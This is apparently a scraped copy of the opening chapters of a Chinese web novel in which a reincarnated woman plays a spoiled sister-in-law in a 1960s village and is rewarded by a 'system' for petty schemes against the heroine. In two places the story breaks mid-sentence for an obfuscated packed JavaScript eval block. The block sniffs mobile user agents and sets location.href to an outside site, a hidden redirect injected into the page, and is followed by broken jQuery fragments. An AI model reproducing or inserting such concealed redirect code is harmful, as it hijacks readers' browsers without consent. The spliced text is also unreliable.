《年代文中的炮灰们[快穿]》 1. 1 八月的太阳灼人,秦舒颜的脸色跟路边老白杨的叶子一样,热到完全耷拉了下来。 她脚步沉重,走了两步身形就开始摇晃,只觉得头晕目眩。 于是她干脆一屁股坐在旁边的石头上,结果才坐下来,就被那石头烫得呲牙咧嘴,她扭了扭屁股,愣是没起来。 干了一上午的农活,她已经完全筋疲力尽。 秦舒颜深呼吸几下,等那眩晕的感觉消失,这才艰难起身,把屁股下的石头滚到树荫下,又重新坐下来。 是她草率了。 以前看年代文的时候只觉得苏爽,可现在换她自己上,就真不行了。 再加上这原身也是个细皮嫩肉不下地的,才干了半天活,秦舒颜就要抓狂了。 没错,秦舒颜不是原装的。 她是蓝星21世纪种花家的一个普通人。 非要说特殊,那就是她是个孤儿,从小就为了钱而绞尽脑汁。 小学代写作业,初中代买早餐、充电,高中卖各大平台会员,大学开始搞寄拍,然后抓住了东风,成了穿搭、美妆博主。 大学毕业后,赚到小钱的秦舒颜又开始提升自己,游泳瑜伽健身,学各种乐器舞蹈,缝纫、服装设计、插花、烘焙,攀岩、滑雪、潜水…… 什么都学,什么都玩。 主打一个自强不息,逆袭成为富一代的成功白富美人设。 辛苦的努力没有辜负她,不到三十岁的她成了全网粉丝五千万的大网红,广告接到手软,房子买了一套又一套。 可惜成为人生赢家没两年,她在一次商演活动上,为了救人被突然掉落的大吊灯砸死了。 秦舒颜死了,但又没完全死。 她被系统绑定,加入了传说中的时空管理局,进入快穿组,成了一名员工。 秦舒颜被封到年代文分支,以后她要穿越逆袭的全部都是以年代文为背景的话本小世界。 这个分类快穿组的人都不爱去,因为那个时代缺衣少食,人民彪悍,愚昧无知又固执。 没人爱吃苦。 秦舒颜也不愿意,可为了活下去,她没得选。 系统说每个世界可以抽取一个金手指使用,虽然是随机的,但好歹也是个外挂。 再加上后世的经验,秦舒颜觉得自己可以胜任这个工作。 不就是炮灰逆袭吗?她可以! 信心满满的秦舒颜,刚来半天,就被地里的农活给干倒了。 她不可以了,她现在只觉得自己中暑,要死在路边了。 农活? 它喵的狗的不干! 秦舒颜是真后悔为了崩人设,早上答应下地了。 她心念一动,打开系统页面,又看了一遍剧情。 这是一本六零年代文,女主是原身的三嫂。 秦家二老有三个儿子,老大秦大海是干活的一把好手,大嫂李翠翠也是能干人,屋里屋外一把抓。 标准的年代文老实憨厚大哥大嫂二人组。 老二秦二江是油嘴滑舌心机男,狐朋狗友好兄弟一大群,婚前夜游神一个,天天不着家。 婚后娶了隔壁村花周芳华后不夜游了,但还是不正经,不好好下地一天在外面不知道忙啥。 大家不知道,秦舒颜这个知道剧情的人知道,便宜二哥是在跟狐朋狗友们挖社会主义的墙角。 今天去山里打猎,明天去隔壁村摸鸡吃,后天又去那个厂跟内部人员搞点东西拉出来卖了。 虽然不走正道,但他跟媳妇两人过得是真滋润。 周芳华也是爱俏爱打扮爱吃的,嫁给秦二江就是看中他能搞来东西,她才不管东西怎么来的,享受就对了。 两人臭味相投,感情很好。 周芳华刚怀孕两个月,理所应当地在家没下地。 老三秦三河,本文男主,是打猎的好手,箭术枪法百发百中,黑皮糙汉大帅哥。 沉默寡言,孝顺父母,有责任心,而且还毫无感情经历,标准男主模板。 他刚结婚,结婚对象就是女主赵美玲,古穿今的御膳房女官。 赵美玲穿越过来才五岁,早已习惯这个世界,并且融入得很好。 她默默努力变美,靠着好厨艺名扬十里八村,她十六岁后,说亲的能踏平赵家门槛。 赵家人想让她嫁给村长儿子,赵美玲却盯上了秦三河。 因为她在山里采集遇难,是秦三河把她救了的。 救命之恩,再加上她偷偷摸摸观察秦三河,发现他特别能干后,就心动了。 秦家四个孩子都长得不错,但秦三河跟秦舒颜最为出挑。 秦三河人高马大,脸庞刀削般的硬朗,男人味十足。 秦舒颜身材高挑,五官精致,漂亮得跟一朵花似的。 赵美玲在山里跟秦三河偶遇过几回,两人一来二去就看对眼了。 这不,秦三河刚跟赵美玲结婚没几天,两人正是如胶似漆的时候。 秦三河不叫赵美玲下地,自己去干了。 而原身…… 秦舒颜把胳臂撑在膝盖上,双手撑着脑袋出神。 原身跟原身的父母,是书里的极品家人。 秦家这一辈十几个孩子,就秦舒颜一个闺女,再加上她从小漂亮,能说会道会哄人,上上下下都宠她。 她从小就没干过什么重活,只有秋收时候干点累活,养得细皮嫩肉。 原身被宠坏了,好吃懒做,梦想是嫁给城里工人,在家完全不做活,说是要养的自己白白嫩嫩好嫁人。 人小甜文男女主,可不就要她这个极品来丰富剧情吗。 在赵美玲视角里,她就是个矫情的废物,自私自利爱占便宜,抢了很多自己给秦三河准备的东西。 而原身追求者们送她的东西,她给家里所有人用,就是一点不给自己,一整个区别对待,故意跟她作对,天天阴阳怪气自己。 在她烦不胜烦后,便干脆设计原身落水,又被同村的小伙子给救了,嫁了人就能离开这个家嘛。 而原身嫁城里人的梦破碎,心态崩了变得偏激。 赵美玲还故意来原身这里显摆自己日子过的多好,家里没有她,大家过的多滋润。 原身本就眼高手低的,这下被刺激是天天嫌男人没本事。 小伙子长期被骂,有点黑化,在一次当众失了面子后,当天晚上回去两人吵架,推了一把怀孕的原身。 原身动了胎气,大出血而亡。 秦家人不乐意大闹一场,秦家二老硬是把他送进局子里,可那又怎么样呢,原身已经没了。 时间带走了悲痛,除了秦家二老心心念念惦记原身,其他人没两年就把她忘了。 而始作俑者那心狠手辣的赵美玲呢,凭借着秦三河猎来的老虎和自己的手艺,进国营饭店当正式工。 改开后,辞职创业更是把饭店开遍全国。 至于原身,她根本没有任何想法,只觉得没了碍事的人就是舒坦,至于原身的死亡,她也只是轻飘飘一句可怜,命不好。 完全没觉得原身命不好的原因,是自己为了踢开碍眼讨厌的存在,故意设计她被迫嫁人的。 秦舒颜“啧”了一声,心想不愧是从皇宫里杀出来的。 能在御膳房爬到女官的位置,又怎么可能是简单人,陷害设计跟家常便饭似的,一点心理压力都没有。 杀人跟杀鸡似的…… 秦舒颜大热天的,愣是打了个激灵,后背发凉。 按照原剧情,哪怕是秋收,原身也只是下了两天地就不干了。 话里话外就是三嫂都不下地,她也不去。 秦家人同意了,让赵美玲跟原身在家操持就行,结果原身累着了,把活都丢给赵美玲干。 赵美玲心疼自家男人,因为刚嫁进来不好炸刺,就没说什么,心里却更讨厌原身。 每每在饭桌上就阴阳怪气,暗示一番原身的不作为,非拱火让原身发怒嚷嚷起来才罢休。 原身发火,赵美玲装柔弱委屈地抹眼泪,背后挑唆冤枉原身,吹枕头风。 时间久了,从小宠着原身的秦三河也开始烦,慢慢两人关系就没那么好了。 原身自私自利好吃懒做又拜金,不是传统意义上的好人,但她不恶毒,从未伤害别人。 追求者们送来的东西,她没少给家里人,还在冬天大雪封山时,秦三河打猎受伤发烧时搞来药给他,对自家人是真好。 赵美玲看着温柔,却是佛口蛇心,心狠手辣。 不止原身,后面赵美玲但凡遇到的阻碍,都全部设计除掉了,她才不管人家会不会家破人亡,反正挡着她往上爬就是不行。 而秦舒颜的任务,就是替原身逆袭。 原身的执念是嫁给城里人,要过衣来伸手饭来张口的好日子,反正她一定要过得比赵美玲更好。 原身还想报仇,想让赵美玲也凄惨一生。 至于有了媳妇不管妹,不记得救命之恩,美美隐身在赵美玲身后,享受对方带来的好处的秦三河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203392|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原主心灰意冷,只说他结局怎么样都行。 帮原身逆袭过好日子是必做的主线,报仇是支线,没完成不扣积分,这也叫秦舒颜松了口气。 得亏原身没叫自己杀了赵美玲复仇,鲨人什么的她……至少现在还真不行,还好原身更执着于过好日子。 秦舒颜回神,抬手给脸扇风,打开系统页面查看金手指。 她开局在这个世界抽到的金手指是极品系统,维持极品人设就有奖励。 今早她刚来,没敢太放肆,顺着剧情答应了下地,结果就累成狗。 早知道她就直接叛逆了! 反正下午就算是打死她,她也不下地了,这个极品她当定了! 休息好了,秦舒颜终于起身往回走,回到家第一件事就是找水喝。 本来想打井水喝的秦舒颜,发现井里吊着的木桶里东西,她提上来一看,发现是绿豆汤。 秦舒颜眼睛一亮,管他三七二十一就是一大口。 冰冰凉凉甜滋滋的味道瞬间消减了许多暑气,秦舒颜长叹一声,只觉得活过来了。 在这60年代的西北小山村,一粒绿豆,三分精贵。 这会大灾年刚过去没两年,大家能吃饱肚子都算是好日子,地里种的全是耐旱耐饱的土豆玉米高粱小麦。 绿豆是稀罕物,是奢侈品,是关键时候救命的解暑药,大补品。 秦家是没有这玩意的,这是赵美玲的压箱底嫁妆。 剧情里,这玩意是她偷摸煮好放凉,藏回小屋里留给秦三河喝的。 可现在嘛~便宜了早回来的秦舒颜。 秦舒颜二话没说,端起碗就往下灌,一大碗全部喝干净,一点不剩,喝了个爽。 “秦舒颜!!!” 【叮~】 赵美玲破了音的怒吼和系统提示音一同响起。 秦舒颜没有一点心虚,理都不理发火冲过来的赵美玲,注意力全在系统给的奖励上。 【你偷喝了赵美玲珍藏的绿豆所熬制的,放了珍贵白糖的绿豆汤,符合极品人设。 奖励绿豆1斤,白糖1斤。】 哇塞! 发财了! 秦舒颜双眼亮晶晶,整个人面如桃花,一看就是心情极佳。 这让赵美玲心中怒火更甚,她气急败坏下抢了秦舒颜手中空碗,忍不住大吼起来。 “秦!舒!颜!” 秦舒颜回神,满不在乎地看了一眼赵美玲,“吼那么大声干嘛,不就是喝了你一碗绿豆汤吗,回头还你一碗就是。” “你拿什么还!”赵美玲气得快要爆炸,她咬牙切齿道:“那可是绿豆,我还放了白糖的!那是我专门给三河……跟爹娘的!” “现在天气这么热,他们秋收累成啥样了,我自己补贴一点东西,还被你喝了!” 赵美玲越说越气,浑身都颤抖起来。 她心疼丈夫,自己都没舍得喝一口,现在全进了这极品小姑子的肚子里! 真的是气死她了! 秦舒颜看她生气,心里其实蛮爽的,她说算计人就算计人,把原身跟路人们搞成那样,她倒是爽了,可别人就惨了。 现在她不爽了,秦舒颜就开心了。 秦舒颜眼珠子一转,坏心眼子就上来,故意气她:“小气死了,不就是碗绿豆汤吗? 我也下地了,我也是秦家人,怎么就不能喝了?” 赵美玲气得直翻白眼,“那是我的东西,你凭啥喝!” 秦舒颜笑嘻嘻:“我已经喝完了,真好喝~谢谢嫂子~” 赵美玲忍无可忍,气得失去理智,伸手推了一把秦舒颜。 秦舒颜顺势倒地,诶呦诶呦地哀嚎起来。 “哎呀我的老天爷耶!老三家的你推四宝干啥!” 下工回来吃饭歇息的秦家人正好看见这一幕,秦舒颜的便宜老娘张翠红瞬间炸了,一拍大腿就过来扶她。 秦三河走在最后面,等他进来站到赵美玲身边,问怎么回事时,赵美玲委屈瞬间爆发。 她刚准备开口,却被秦舒颜哇的一声哭喊打断了。 “娘啊~三嫂她推我~我好疼!” 秦舒颜抬起胳膊,细皮嫩肉的手心和胳膊肘擦破了,有血渗出来,在她白皙的肌肤上显得异常显眼。 【你恶人先告状,故意跌倒反咬一口赵美玲,符合极品人设。 奖励5元钱。】 秦舒颜哭声一顿,掩饰性地咳嗽了几声,然后继续认真地表演起哭戏。 2. 2 秦舒颜的眼泪珠子一颗接一颗地往下滚,像是断了线的珍珠一般。 美人哭泣,梨花带雨,她本就非常漂亮,这会哭起来嘤嘤嘤的,动作娇柔,看得众人难免心疼起来。 “老三家的!你干甚推四宝?” 赵翠花跟李翠翠扶起秦舒颜后,赵翠花就开始对赵美玲发难质问。 看着公婆不善的目光,赵美玲心里委屈得难受,气得心肝脾肺肾都疼。 “她把我给三河……跟你们二老专门煮的放了白糖的绿豆汤喝了!” “甚?” “什麻?” “绿豆汤!还放了白糖的?” 秦家人大惊,所有人视线都转向秦舒颜。 秦舒颜不慌不忙,依旧嘤嘤嘤的啜泣着,“我中暑了,头晕得很,回来打水看见绿豆汤,没注意就全喝了。” “你们看吧!她承认了!”赵美玲得理不饶人,“都怪她!那可是我好不容易得来的,压箱底的存货!” “四宝,这就是你不对了啊。”秦二江吧唧吧唧嘴,馋得不行。 赵翠花有些无奈,白了一眼秦舒颜,却又心疼她受伤。 她舍不得说自家闺女,心里气不平,就对着赵美玲发。 “那也不能推她啊,你瞧瞧这伤的,有什么话不能好好说吗?” 被婆婆责怪,赵美玲忍不住低下头,她怕自己的眼神被大家看见,尤其是秦三河。 赵美玲在秦三河面前一直是温柔善良纯洁的形象,可不能破功。 秦三河以为自家媳妇被老娘说委屈了,于是开口道:“妈……” 觉得秦三河有了媳妇忘了娘,早就不爽的赵翠花,手一抬就打断他的话。 “咋了咋了!你媳妇不是说那绿豆汤是给我跟你爹还有你喝的吗? 我们俩乐意给四宝喝,你不愿意?” 秦三河面对虎视眈眈的老娘,只能无奈地点头,“我愿意给四宝喝,但是……” “但是啥但是!你媳妇推了四宝让她受伤,你的那份绿豆汤正好算给她的赔偿了。 行了行了就这样吧,大晌午的热死个人了,在这里挤着作甚?都不饿?赶紧回屋吃饭!” 赵翠花不耐烦地赶人,骂骂咧咧地让大家进屋。 秦有民啥话也没说,背着手就进去了。 秦大海夫妇也是没啥多想的,反正喝不到他们嘴里的,根本不惦记。 两人也是乖乖跟着进屋。 秦二江看到厨房门口站着的周芳华,屁颠屁颠就凑了过去,“媳妇,我帮你端菜!” 两人进厨房小声地嘀嘀咕咕,从头看到尾的周芳华,活灵活现地把事情说了个仔细。 “你那妹子是又馋又奸,跟你一模一样,把赵美玲气得冒火哈哈哈!” 秦二江也笑,“那是我亲妹,可不跟我一样吗?” “可惜了那绿豆汤,要不然我说不定还能蹭一口。”周芳华撇撇嘴,有些馋了。 “绿豆搞不来,糖还是可以的,你等着,过两天我铁定给你带回来。”秦二江凑到周芳华耳朵旁边说完,又飞快在她脸上偷了个香。 周芳华大窘,看了一眼外面确定没人才松了口气,狠狠掐了一把去盛饭的秦二江。 其实一点不疼的秦二江呲牙咧嘴地求饶,小两口打打闹闹个不停。 他们这边气氛不错,外面却是安静到诡异。 这会儿院里已经没人了,只剩下赵美玲跟秦三河。 秦三河嘴笨,不知道该怎么安慰妻子,想了半天就冒出来一句:“别生气,回头我给你弄绿豆和白糖来补上。” 一直等着被哄的赵美玲就等来这么一句,气得眼泪都掉下来了。 “谁要那东西!我还不是心疼你,怕你中暑了才想着给你补补,结果都叫你那妹子喝光了! 你妈偏心眼,就护着她!” 秦三河见她哭了,赶紧抬手给她擦眼泪,他也不能说老娘不好,只能一个劲道歉。 “是我不好。” “你不好什么啊!是你妹不好!”赵美玲转了个身背对秦三河,带着哭腔道: “我控制了力道,那力气根本推不倒人,是秦舒颜故意摔倒的!” 这个贱人有心机着呢! “……”秦三河挠头,这事四宝确实做得出来。 从小到大自己没少给她背黑锅。 “回头我说她。” 赵美玲还想说什么,但屋里赵翠花发飙了。 “吃不吃饭啊!” 秦三河揽着赵美玲的肩膀,带着她进屋,“先吃饭。” 赵美玲也饿了,只能抹了眼泪进屋。 进去后看见秦舒颜坐在那里跟赵翠花撒娇说疼,下午不去下地了云云,心里明白了她这一箭双雕的计谋。 “不去就不去吧,干了一上午活就要晕的废物东西,你能干个啥?”赵翠花狠狠瞪了一眼秦舒颜,满脸恨铁不成钢。 “以后饿死!” 秦舒颜甜甜地笑着,“我以后嫁个城里工人,才不会饿死呢。 我不仅饿不死,还吃好穿好,带着大包小包回来看你们。” 赵翠花又翻了个白眼,嘴上骂骂咧咧,脸上却是露出笑容来。 饭桌上,谁也没有露出鄙夷或者不相信的神情来。 毕竟现在能嫁个城里人,是所有人梦寐以求的。 而且秦舒颜是初中毕业,长得又是十里八村出了名的漂亮,秦家人都默认了她以后会嫁到城里去的。 让秦舒颜找个村里人嫁了,是秦家二老从未有过的想法。 “你都十八了,也该说亲了,我们已经让你二爷爷帮着说了,你同学多,自己有门路也找找看。 不过看好了一定先回来跟我们说,我们帮你打听了才行,你可不敢胡来!” 赵翠花仔细地叮嘱道。 “放心吧,一定让你们先长眼!”秦舒颜满口答应。 她不想讨论这个话题,低头猛吃,扒拉了一大口饭后,被噎得露出痛苦面具。 荞麦皮也往里面放吗? 救命—— 嗓子好痛! 虽然接收了记忆,对这里的贫苦有了了解和准备的秦舒颜人麻了。 即使有心理准备,也承受不住啊! 吃不下,完全吃不下。 秦舒颜干脆把半碗饭倒给了便宜爹,“我不去下地,吃一点就够了,爹你干活累的,多吃一点!” 秦有民笑了,“好好好,爹吃,俺闺女知道心疼爹。” 赵翠花不爽得心里也好转了很多,把秦舒颜夸了又夸。 赵美玲一顿,也把剩下的一半倒给了秦三河。 秦三河不要,被赵美玲强硬地阻拦,“我在家不干啥,少吃一点没事的。” 看着两人要相亲相爱,秦舒颜立马打断,“下午我要去镇上一趟,晚上不在家吃了。” “你去镇上干啥?”赵翠花连忙追问。 “我找我同学去,随便把赔给我三嫂的绿豆白糖拿回来。”秦舒颜哼了一声。 “啥玩意?”赵翠花瞪大眼睛,眯起眼睛警告她,“你可注意些,别搞出事来了。” 原身是个海王,追求者无数,他们送她的东西五花八门的,什么都有。 家里人才一开始的不习惯,到现在习以为常,反正只要不明着搞出事来,他们就当没事。 名声又不能当饭吃,人都要饿死了,哪里管得了那么多?吃进嘴里的才是正儿八经的。 原身爱享受,但也不抠搜,东西都拿回来给家里人吃过用过的。 秦家人记得她的好,出门了也只会维护她,没少帮她收拾嚼舌根的人。 那三年饥荒,要不是秦三河能打猎,秦二江有门路换粮食,秦舒颜有追求者们救济,他们还真扛不住。 村里饿死不知道多少人,他们家是少数全家都活着的。 而且有一年冬天大雪封山,秦三河进山打猎受伤发烧一直不退,是秦舒颜找人搞来药的,要不然秦三河烧成傻子也说不定。 这也是秦三河为啥刚刚没有偏心媳妇去质问秦舒颜,在他心里,妹妹、老娘跟媳妇一样重要,他谁也不想偏,也不能偏。 不过很可惜,这事赵美玲还不知道,她以为自己在秦三河心里很重要,但其实并不是第一位。 赵翠花跟秦舒颜并列第一,赵美玲只能排第二。 毕竟两人先婚后爱,现在的感情只是喜欢,还没到爱得死去活来呢。 秦三河:“不用,我去猎点东西来换点来就成。” 赵美玲立刻抬眼看向秦三河,没想到他会这么说。 秦三河跟秦大海是秦家道德感最高的,他们用秦舒颜带回来的东西,心里别扭得很。 倒不是觉得脏,就是觉得这是靠小妹出卖美色换来的,他们大老爷们没本事,这才叫小妹出力,没脸吃。 但凡有可能,秦三河都不想小妹去接触那些心怀不轨的人。 秦舒颜冲秦三河笑起来,“秋收累死了,你哪有时间? 我早都跟同学说好了的,并不是为了三嫂才去的。 我的化妆梳头手艺你们也知道,去镇上梳妆赚了钱的,叫之前就叫我同学换了半斤绿豆,本来就是今天去拿的。 你们那么辛苦,我又帮不上忙,只能搞点东西来给你们补补了。” 这一番话说得大家心软软。 当然,周芳华跟赵美玲除外。 周芳华只觉得秦舒颜虽然坏毛病一大堆,但对家里人舍得,还算不错。 但赵美玲,就纯粹剩下气了。 如果她真拿半斤绿豆回来,那她算什么?这不更显得她扣扣搜搜,斤斤计较吗? 赵美玲攥紧了手,呼吸都不顺畅了。 秦舒颜起身,故意对着赵美玲哼了一声,“我都跟三嫂说了我会赔给她的,可她连话都不听,一把就把我推倒了! 坏三嫂,不喜欢她了!哼!” 说完,她就起身跑回屋去了。 这一翻小女儿姿态活泼娇俏,众人谁也没放在心上。 秦舒颜就不是记仇的人,现在不开心过一阵就好了。 赵翠花笑骂了几句秦舒颜,又敲打赵美玲,让她这个做嫂子的大方些,再怎么吵架也不能动手。 赵美玲表情僵硬地应着,桌子下的双手,掌心都掐出指甲印来。 秦舒颜回到属于自己的屋里,关好门蹦到炕上,打开系统查看奖励。 票证盲盒,这玩意能开出这个时代任意的票证,完全合理合法,不会有任何问题。 不过能开出什么全部随机,金额数量也是随机,全看运气。 秦舒颜运气时好时坏,每个固定的,这会儿只能祈祷抽出金色传说来。 她对着满天神佛拜了拜,这次用意念点击系统页面上那个盲盒。 一道金色光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203393|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒闪过,秦舒颜大喜。 仔细一看后,表情瞬间崩坏。 【你获得了地方粮票2两半一张。】 什么玩意? 搞了半天金光是抽奖固定特效啊,害得她白激动一场,还以为开出来什么好东西呢! 罢了罢了,二两半就二两半吧,好歹还能在国营饭店吃完白面条呢。 秦舒颜决定晚上就吃这个。 这会儿天太热,秦舒颜是不可能出门了,她处理了伤口,倒头就睡。 一直睡到自然醒,看着太阳没有那么晒了才准备出发。 秦家在三河村,就挨着镇上,是个相对当地十里八村,还算繁华的村子。 去镇上走路就一个多小时。 相比别的村动不动就得赶路一上午,这已经是非常近的距离了。 秦舒颜到镇上后又热又累,擦汗的手帕都湿透了。 得亏天够热,虽然出汗但也很快干了,到镇上后秦舒颜除了脸红扑扑的外,衣服倒是没湿了贴在身上。 要不然少不了被人指指点点。 “呀,舒颜啊,好巧~” 小地方,人就那些,秦舒颜刚来就遇到了自己的初中同学。 借口成真,秦舒颜顺势就跟她一起去逛街。 这同学叫吴悦,她妈妈是供销社的,上学时候跟秦舒颜关系就很好,毕业了也一直没断了联系。 尤其是原身在照相馆当临时工,化妆梳头一把好手,爱美的小姑娘当然爱找她玩。 这会儿吴悦遇到秦舒颜,拉着她就去买冰棍吃。 结果她妈刚好就在柜台,钱票都没要,拿了内部的防暑福利冰棍就给了两孩子。 秦舒颜甜甜地道谢,惹得供销社一群婶婶直夸她漂亮,感叹她生得好。 然后一个劲给秦舒颜介绍对象。 两姑娘对视一眼,拿着冰棍就跑了,她们可不乐意被催婚。 两人有说有笑地逛街,没有别的娱乐活动,纯压马路聊八卦。 太阳落山后,秦舒颜拉着吴悦去国营饭店吃面,两人分了一碗二两半的白面条,吃得喷香。 秦舒颜狠狠刷了一波吴悦的好感度,跟小姐妹约好下次再见,这才打道回府。 这会儿天还没黑,但秦舒颜还是加快了步伐。 这个年代没有摄像头,公安离得老远,偏僻山沟安静得吓人,真出了事谁也救不了她。 秦舒颜怕死,必须赶在天黑前回去。 幸亏一路上没什么人,顺利到村里。 快到家的时候,秦舒颜把那一斤绿豆都拿出来。 嗯,系统出品,就是精品,那绿豆一颗颗饱满圆润,看着就是佳品。 而且包装是很普通的纸袋子,就是这个年代的特色包装,完全不用怕露馅。 秦舒颜心满意足,扬起下巴走进秦家门。 “我回来了!” 她发出嚣张得意的声音。 不放心秦舒颜,都等着她回来的众人,看她拿出一斤绿豆后,喜得惊呼连连。 “哎哟我滴娘诶!瞧瞧这豆子!太好了!”赵翠花爱不释手,小心翼翼地摸了又摸。 “这么多!”秦二江瞪大了眼睛,心想小妹本事比他还大。 了不得,了不得啊! “乖乖~这有一斤吧?”李翠翠眼睛都直了。 “你花了多少钱?”秦三河微微皱眉。 赵美玲简直不敢相信她能弄回来这么多,要知道她那一把绿豆,还是她热火朝天地给人家做喜宴,中暑了才换来的呢。 她倒好,出去一趟就弄回来这么多。 怕不是跟谁睡了吧? 赵美玲心思阴暗地想到,视线仔细扫过秦舒颜身上,但看她身形姿态,又颇为失望。 就算没睡,估计也没少被人占便宜,赵美玲在心里冷哼道。 秦舒颜看见了她的表情,知道她心里没憋好屁,于是故意道:“抓一把出来,还给我三嫂吧,省得她又推我一把。” 【故意阴阳怪气针对赵美玲,符合极品人设,奖励冰糖一块。】 耶?这都行? 不过也太抠了吧,才一块冰糖。 但比没有强,好歹还能甜甜嘴,秦舒颜就决定以后嘴馋了就阴阳怪气一翻,换点糖吃。 “给什么啊,那熬出来的绿豆汤,她还不得喝?”赵翠花才不给,一把收起绿豆,转身就往橱柜里藏。 “今年夏天热得难熬,妈你别省,每天都煮,多放点豆子,好给大家去去火。 生病了可花更多钱,废更多事的!”秦舒颜对着她背影喊。 “就你败家!这金贵玩意有你那么霍霍的吗?这可是好东西,得省着点!”赵翠花头也没回地走了。 “哼,藏吧,明天你干活去了,我自己煮!”秦舒颜无所谓。 “那我们明天有口福了!哈哈~”秦二江眉开眼笑。 “四宝心疼咱呢。”李翠翠也笑着夸。 有便宜占的周芳华,这会儿也是好话一箩筐,跟着大家一个劲夸秦舒颜。 “可不是咋地,四宝厉害呢~” 秦家人有说有笑,气氛很好,就连秦三河也笑意盈盈地看着大家。 赵美玲没有一点开心,只觉得他们吵闹,更觉得自己像是个外人一样,无法融入这个家。 秦舒颜扫了一眼赵美玲的表情,本来就被捧着,很不错的心情变得更加美妙。 3. 3 翌日,秦舒颜又没去下地。 她不仅没下地,还睡到九点多才醒。 这个时代夜间没有娱乐活动,甚至灯都没有,天黑只能睡觉。 睡到早上九点,那足足睡了十几个小时,是令原住民们震撼的。 秦舒颜伸着懒腰起床,出来洗漱遇到干家务的周芳华,对方惊叹地发出疑问,“你怎么能睡那么久?” 比她这个怀孕的还能睡! 秦舒颜两手一摊,“昨天下地累了。” 周芳华:“……” 周芳华沉默了两秒,深以为然地点头,“下地是累啊。” 她在娘家的时候时不时也得下地,也就嫁在秦家,被秦二江宠着,这才不需要下地干活。 想起那个苦,两人对视了一眼,皆是心有戚戚。 两个不爱干活的人瞬间同频了,抱怨的话张嘴就来,没聊多久就变成好姐妹,有说有笑的。 旁边听着她们嘻嘻哈哈的赵美玲,突然拿着棒槌把衣服敲得震天响。 周芳华跟秦舒颜被这突如其来的声音吓了一跳,前者没好气地拍了拍胸口,“干嘛啊!这吓我一大跳!” 见她抱怨赵美玲,秦舒颜开团秒跟,张嘴就来,“就是就是,干嘛啊!都吓着二嫂了! 你不知道怀孕的人不能受惊吓吗?二嫂才怀两个月,还不稳呢,把孩子吓掉了看娘跟二哥不捶你!” 说罢,不理会怒瞪自己的赵美玲,满脸关切地看着周芳华,“二嫂你肚子疼不疼?要不回屋歇歇吧,别动了胎气。” 周芳华一听,立刻捂住肚子,“哎呀,是心慌慌的,肚子有点不舒服!” 她转头看向赵美玲,理直气壮地说:“你吓得我不舒服,我要回去歇着,晌午饭你做吧!” “哎呀呀,那快进屋,我扶你~”秦舒颜做作地扶着周芳华进屋。 进去后,两人听见外面更响亮的敲打声,对视扑哧一笑。 秦家的饭是三个媳妇轮流来的,但现在秋收,李翠翠忙着下地顾不上,就被周芳华跟赵美玲包了。 两人是轮换做饭,一人一天。 昨天是赵美玲做的,今天轮到周芳华,现在搞了这么一出,周芳华就直接不管午饭了。 要知道现在的天气是一年最热的时候,这窝到厨房能热死个人,做饭并不是轻松事情。 摆了赵美玲一道,轻松一天的周芳华看着小姑子,表情那叫一个友善。 一起干坏事,那可太拉近两人之间的关系了。 “咱家离河里又不远,端着盆过去,水流就把衣服冲干净了,哪至于她费劲敲。” 周芳华摇了摇头,“那衣服照她这种洗法,没多久就不行了。” 秦舒颜倒是知道为啥,剧情里有,赵美玲虽然是胎穿,但还是被上辈子的经历影响了。 她自持身份,看不上城里人,觉得自己高人一等。 去河边洗衣服会遇到三姑六婆小媳妇,她们闲话特别多,赵美玲很不喜欢。 不过秦舒颜就算知道也没法说,只道:“可能新媳妇脸皮薄吧,那些婶子可是啥话都说的。” “这倒也是。”周芳华释然。 那些老娘们嘴里的荤话能羞个死人,周芳华也不爱出去晃悠。 秦舒颜也是接收了记忆,才知道这个时代的人保守,又非常的不保守。 说保守吧,夏天河里游泳降温的男的女的都一起,那胳膊腿露出来都没事,顶多口花花。 男女之事更是乱得要命,乱搞的简直不要太多,很多甚至都是公开秘密。还有什么肩挑两房,一个女的嫁一家子兄弟多得是。 那不正经的男人,钻到娘儿们堆里调笑占便宜的简直不要太多。 说不保守吧,男人从河里救了女人,或者当众搂搂抱抱就得结婚,要不然女孩子名声就坏了。 接收记忆的时候,秦舒颜也是大开眼界。 两人吐槽了几句,这才各自回屋歇自己的去。 秦家院子不小,一排有五孔窑洞,是村里日子过得很不错的人家,能盖起来这么多,也是因为秦三河会打猎。 原本只有三间,后面新盖的两间都是靠秦三河,他跟父母各住一间新窑洞,旧的其他人各住一间。 秦舒颜也是村里唯一有单独屋子的女孩子,没少被人羡慕。 毕竟其他家人穷得一家老小挤在一起,别说女孩子单独住一间了,就是男娃也没有。 躺在炕上,秦舒颜看着老旧的天花板发呆,心里琢磨着以后该怎么办。 虽然是一个人住一个屋,但住宿环境也没好到哪去,毕竟是爷爷传下来的老屋子了。 秦三河能住新房,那是他自己有本事,秦家其他人是完全没有想法的,他们有自知之明。 黄土窑洞,炕上席子地下都是土,被褥都是洗得发白破洞,缝缝补补的,秦舒颜睡着都觉得难受。 而且因为她一个人住,屋子里放了许多杂物,哪怕被帘子隔开了,那也是脏乱差。 家里女性还时不时进来拿东西,私密空间有了,但没完全有。 这让极其注意隐私的秦舒颜异常难受。 她瘫成大字,拿着大蒲扇给自己扇风,心想自己还是得在工作上使使劲。 原身心眼子不少,脑袋灵活,擅长交朋友,她凭自己本事在镇上的照相馆找了份临时工的活。 这会农忙放假几天,她这才不用去。 